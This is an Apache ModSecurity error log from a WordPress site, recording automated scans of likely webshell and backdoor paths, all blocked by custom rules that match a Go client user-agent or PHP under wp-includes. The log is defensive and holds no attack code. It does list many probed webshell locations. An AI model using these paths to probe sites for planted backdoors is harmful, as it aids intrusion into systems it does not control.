[Sat Apr 25 14:00:53.874765 2026] [:error] [pid 44321:tid 44388] [client 193.37.32.169:24595] [client 193.37.32.169] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/system.php"] [unique_id "aexYlY1b5lV-asWa_Y6VqQAAAIU"]
[Sat Apr 25 14:00:54.138787 2026] [:error] [pid 44321:tid 44396] [client 193.37.32.146:63609] [client 193.37.32.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/twentynineteen/sass/site/"] [unique_id "aexYlo1b5lV-asWa_Y6VqgAAAI0"]
[Sat Apr 25 14:00:54.370209 2026] [:error] [pid 44321:tid 44383] [client 193.37.32.147:23561] [client 193.37.32.147] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/twentytwenty/assets/js/"] [unique_id "aexYlo1b5lV-asWa_Y6VqwAAAIA"]
[Sat Apr 25 14:00:54.575614 2026] [:error] [pid 44321:tid 44397] [client 193.37.32.154:38359] [client 193.37.32.154] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/sodium_compat/"] [unique_id "aexYlo1b5lV-asWa_Y6VrQAAAI4"]
[Sat Apr 25 14:00:54.774682 2026] [:error] [pid 44319:tid 44333] [client 193.37.32.170:57861] [client 193.37.32.170] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/edit-tags.php"] [unique_id "aexYlszJPAVLUb2pWtKXpwAAAAQ"]
[Sat Apr 25 14:00:54.973383 2026] [:error] [pid 44321:tid 44398] [client 193.37.32.140:44343] [client 193.37.32.140] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/root.php"] [unique_id "aexYlo1b5lV-asWa_Y6VrgAAAI8"]
[Sat Apr 25 14:00:55.178810 2026] [:error] [pid 44321:tid 44395] [client 193.37.32.151:36173] [client 193.37.32.151] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/webix.php"] [unique_id "aexYl41b5lV-asWa_Y6VrwAAAIw"]
[Sat Apr 25 14:00:55.386048 2026] [:error] [pid 44321:tid 44386] [client 193.37.32.176:63465] [client 193.37.32.176] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/ms-files.php"] [unique_id "aexYl41b5lV-asWa_Y6VsAAAAIM"]
[Sat Apr 25 14:00:55.628114 2026] [:error] [pid 46083:tid 46094] [client 193.37.32.132:20063] [client 193.37.32.132] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/about.php"] [unique_id "aexYlzxw_Zq74vWdjmnqXwAAAQc"]
[Sat Apr 25 14:00:55.858210 2026] [:error] [pid 46083:tid 46092] [client 193.37.32.152:37107] [client 193.37.32.152] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/edit.php"] [unique_id "aexYlzxw_Zq74vWdjmnqYAAAAQU"]
[Sat Apr 25 14:00:56.080541 2026] [:error] [pid 44425:tid 44434] [client 193.37.32.154:56099] [client 193.37.32.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/wp-conflg.php"] [unique_id "aexYmCUl-VlItvY2tR-NbwAAAMc"]
[Sat Apr 25 14:00:56.334885 2026] [:error] [pid 46083:tid 46090] [client 193.37.32.166:65481] [client 193.37.32.166] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/classwithtostring.php"] [unique_id "aexYmDxw_Zq74vWdjmnqYQAAAQM"]
[Sat Apr 25 14:00:56.546329 2026] [:error] [pid 44320:tid 44374] [client 193.37.32.146:33307] [client 193.37.32.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/wp-mail.php"] [unique_id "aexYmDmFqSpku_dij8jD6gAAAFI"]
[Sat Apr 25 14:01:01.858502 2026] [:error] [pid 44321:tid 44403] [client 193.37.32.135:23797] [client 193.37.32.135] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/wp-multilang/configs/plugins/users.php"] [unique_id "aexYnY1b5lV-asWa_Y6VsgAAAJQ"]
[Sat Apr 25 14:01:02.078155 2026] [:error] [pid 44319:tid 44346] [client 193.37.32.165:40453] [client 193.37.32.165] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/upgrade-temp-backup/plugins/maintenance.php"] [unique_id "aexYnszJPAVLUb2pWtKXrAAAABE"]
[Sat Apr 25 14:01:02.372229 2026] [:error] [pid 44321:tid 44388] [client 193.37.32.152:29075] [client 193.37.32.152] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/aboutc.php"] [unique_id "aexYno1b5lV-asWa_Y6VswAAAIU"]
[Sat Apr 25 14:01:02.727211 2026] [:error] [pid 46083:tid 46107] [client 193.37.32.152:53687] [client 193.37.32.152] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/columns/"] [unique_id "aexYnjxw_Zq74vWdjmnqYwAAARM"]
[Sat Apr 25 14:01:03.069032 2026] [:error] [pid 44319:tid 44339] [client 193.37.32.150:60557] [client 193.37.32.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/widget-group/"] [unique_id "aexYn8zJPAVLUb2pWtKXrQAAAAo"]
[Sat Apr 25 14:01:08.921129 2026] [:error] [pid 44320:tid 44379] [client 193.37.32.164:62787] [client 193.37.32.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/koiy.php"] [unique_id "aexYpDmFqSpku_dij8jD-QAAAFc"]
[Sat Apr 25 14:01:10.538016 2026] [:error] [pid 44319:tid 44343] [client 193.37.32.139:41137] [client 193.37.32.139] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/Nxploited/class-payment.php"] [unique_id "aexYpszJPAVLUb2pWtKXsAAAAA4"]
[Sat Apr 25 14:01:15.832178 2026] [:error] [pid 44425:tid 44431] [client 193.37.32.107:29579] [client 193.37.32.107] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/first.php"] [unique_id "aexYqyUl-VlItvY2tR-NdgAAAMQ"]
[Sat Apr 25 14:01:16.041056 2026] [:error] [pid 44425:tid 44442] [client 193.37.32.109:31091] [client 193.37.32.109] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/bk/database.php"] [unique_id "aexYrCUl-VlItvY2tR-NdwAAAM8"]
[Sat Apr 25 14:01:16.268460 2026] [:error] [pid 44320:tid 44375] [client 193.37.32.147:43593] [client 193.37.32.147] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/configRIV/about.php"] [unique_id "aexYrDmFqSpku_dij8jD_gAAAFM"]
[Sat Apr 25 14:01:16.532788 2026] [:error] [pid 44320:tid 44364] [client 193.37.32.150:42379] [client 193.37.32.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/home.php"] [unique_id "aexYrDmFqSpku_dij8jD_wAAAEg"]
[Sat Apr 25 14:01:21.871857 2026] [:error] [pid 46083:tid 46101] [client 193.37.32.151:23457] [client 193.37.32.151] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/home.php"] [unique_id "aexYsTxw_Zq74vWdjmnqawAAAQ4"]
[Sat Apr 25 14:01:22.369432 2026] [:error] [pid 44425:tid 44440] [client 193.37.32.160:55501] [client 193.37.32.160] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/upload.php"] [unique_id "aexYsiUl-VlItvY2tR-NfAAAAM0"]
[Sat Apr 25 14:01:32.635419 2026] [:error] [pid 44319:tid 44329] [client 193.37.32.146:44967] [client 193.37.32.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/xc.php"] [unique_id "aexYvMzJPAVLUb2pWtKXugAAAAA"]
[Sat Apr 25 14:01:32.856367 2026] [:error] [pid 44321:tid 44389] [client 193.37.32.160:64641] [client 193.37.32.160] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/well-known/acme-challenge/about.php"] [unique_id "aexYvI1b5lV-asWa_Y6VxgAAAIY"]
[Sat Apr 25 14:01:33.079337 2026] [:error] [pid 44425:tid 44440] [client 193.37.32.153:50733] [client 193.37.32.153] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/well-known/about.php"] [unique_id "aexYvSUl-VlItvY2tR-NhwAAAM0"]
[Sat Apr 25 14:01:33.338334 2026] [:error] [pid 44321:tid 44401] [client 193.37.32.156:34975] [client 193.37.32.156] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/x123.php"] [unique_id "aexYvY1b5lV-asWa_Y6VxwAAAJI"]
[Sat Apr 25 14:01:33.629019 2026] [:error] [pid 44320:tid 44373] [client 193.37.32.138:52545] [client 193.37.32.138] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/database/database.php"] [unique_id "aexYvTmFqSpku_dij8jEDAAAAFE"]
[Sat Apr 25 14:01:36.838092 2026] [:error] [pid 44319:tid 44347] [client 193.37.32.165:62285] [client 193.37.32.165] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/vx.php"] [unique_id "aexYwMzJPAVLUb2pWtKXvwAAABI"]
[Sat Apr 25 14:01:37.077174 2026] [:error] [pid 44319:tid 44341] [client 193.37.32.146:64431] [client 193.37.32.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/adminfuns.php"] [unique_id "aexYwczJPAVLUb2pWtKXwAAAAAw"]
[Sat Apr 25 14:01:37.282606 2026] [:error] [pid 44320:tid 44376] [client 193.37.32.109:46183] [client 193.37.32.109] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/content.php"] [unique_id "aexYwTmFqSpku_dij8jEEAAAAFQ"]
[Sat Apr 25 14:01:42.538107 2026] [:error] [pid 44320:tid 44362] [client 193.37.32.172:60175] [client 193.37.32.172] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includesxc/js/imgareaselect/zo.php"] [unique_id "aexYxjmFqSpku_dij8jEEwAAAEY"]
[Sat Apr 25 14:01:48.078579 2026] [:error] [pid 44319:tid 44339] [client 193.37.32.166:34947] [client 193.37.32.166] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/astra/assets/css/"] [unique_id "aexYzMzJPAVLUb2pWtKXzgAAAAo"]
[Sat Apr 25 14:01:48.279308 2026] [:error] [pid 44425:tid 44431] [client 193.37.32.107:62923] [client 193.37.32.107] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/light/wp-admin.php"] [unique_id "aexYzCUl-VlItvY2tR-NiwAAAMQ"]
[Sat Apr 25 14:01:48.477109 2026] [:error] [pid 44425:tid 44427] [client 193.37.32.133:52503] [client 193.37.32.133] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/modern/test2.php"] [unique_id "aexYzCUl-VlItvY2tR-NjAAAAMA"]
[Sat Apr 25 14:01:48.721763 2026] [:error] [pid 44425:tid 44444] [client 193.37.32.137:54583] [client 193.37.32.137] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/wp2epub/css/"] [unique_id "aexYzCUl-VlItvY2tR-NjQAAANE"]
[Sat Apr 25 14:01:58.964164 2026] [:error] [pid 44321:tid 44391] [client 193.37.32.153:40211] [client 193.37.32.153] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/widgets/wp-conflg.php"] [unique_id "aexY1o1b5lV-asWa_Y6V4wAAAIg"]
[Sat Apr 25 14:01:59.379114 2026] [:error] [pid 44425:tid 44439] [client 193.37.32.138:24751] [client 193.37.32.138] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/users.php"] [unique_id "aexY1yUl-VlItvY2tR-NlwAAAMw"]
[Sat Apr 25 14:01:59.642687 2026] [:error] [pid 44319:tid 44339] [client 193.37.32.163:35715] [client 193.37.32.163] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/wp-at.php"] [unique_id "aexY18zJPAVLUb2pWtKX2QAAAAo"]
[Sat Apr 25 14:01:59.854629 2026] [:error] [pid 44320:tid 44371] [client 193.37.32.158:43563] [client 193.37.32.158] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/library/222.php"] [unique_id "aexY1zmFqSpku_dij8jEJwAAAE8"]
[Sat Apr 25 14:02:00.277149 2026] [:error] [pid 44321:tid 44392] [client 193.37.32.136:30725] [client 193.37.32.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/customize/222.php"] [unique_id "aexY2I1b5lV-asWa_Y6V8QAAAIk"]
[Sat Apr 25 14:02:00.479496 2026] [:error] [pid 44320:tid 44367] [client 193.37.32.156:23343] [client 193.37.32.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/block-supports/100.php"] [unique_id "aexY2DmFqSpku_dij8jEKAAAAEs"]
[Sat Apr 25 14:02:00.706730 2026] [:error] [pid 44320:tid 44357] [client 193.37.32.132:39131] [client 193.37.32.132] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/blue/dx.php"] [unique_id "aexY2DmFqSpku_dij8jEKQAAAEE"]
[Sat Apr 25 14:02:00.947305 2026] [:error] [pid 44320:tid 44369] [client 193.37.32.112:57261] [client 193.37.32.112] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/maint/src/xth/"] [unique_id "aexY2DmFqSpku_dij8jELAAAAE0"]
[Sat Apr 25 14:02:01.149046 2026] [:error] [pid 46083:tid 46088] [client 193.37.32.133:62807] [client 193.37.32.133] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/sunrise/modules/docs/dist/resources/qnl/admin.php"] [unique_id "aexY2Txw_Zq74vWdjmnqiAAAAQE"]
[Sat Apr 25 14:02:01.480183 2026] [:error] [pid 44321:tid 44407] [client 193.37.32.150:43243] [client 193.37.32.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/block-supports/includes/src/content/ixp/"] [unique_id "aexY2Y1b5lV-asWa_Y6V8gAAAJg"]
[Sat Apr 25 14:02:01.730693 2026] [:error] [pid 44321:tid 44396] [client 193.37.32.112:28091] [client 193.37.32.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/sodium_compat/src/js/includes/pwm/admin.php"] [unique_id "aexY2Y1b5lV-asWa_Y6V8wAAAI0"]
[Sat Apr 25 14:02:01.933570 2026] [:error] [pid 44321:tid 44400] [client 193.37.32.138:23751] [client 193.37.32.138] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/twentytwentyfour/assets/"] [unique_id "aexY2Y1b5lV-asWa_Y6V9AAAAJE"]
[Sat Apr 25 14:02:07.158429 2026] [:error] [pid 44320:tid 44376] [client 193.37.32.169:40721] [client 193.37.32.169] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/Divi/epanel/build/"] [unique_id "aexY3zmFqSpku_dij8jEMgAAAFQ"]
[Sat Apr 25 14:02:07.361585 2026] [:error] [pid 44320:tid 44370] [client 193.37.32.151:58519] [client 193.37.32.151] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/Divi/includes/builder/frontend-builder/assets/vendors/skins/lightgray/"] [unique_id "aexY3zmFqSpku_dij8jENQAAAE4"]
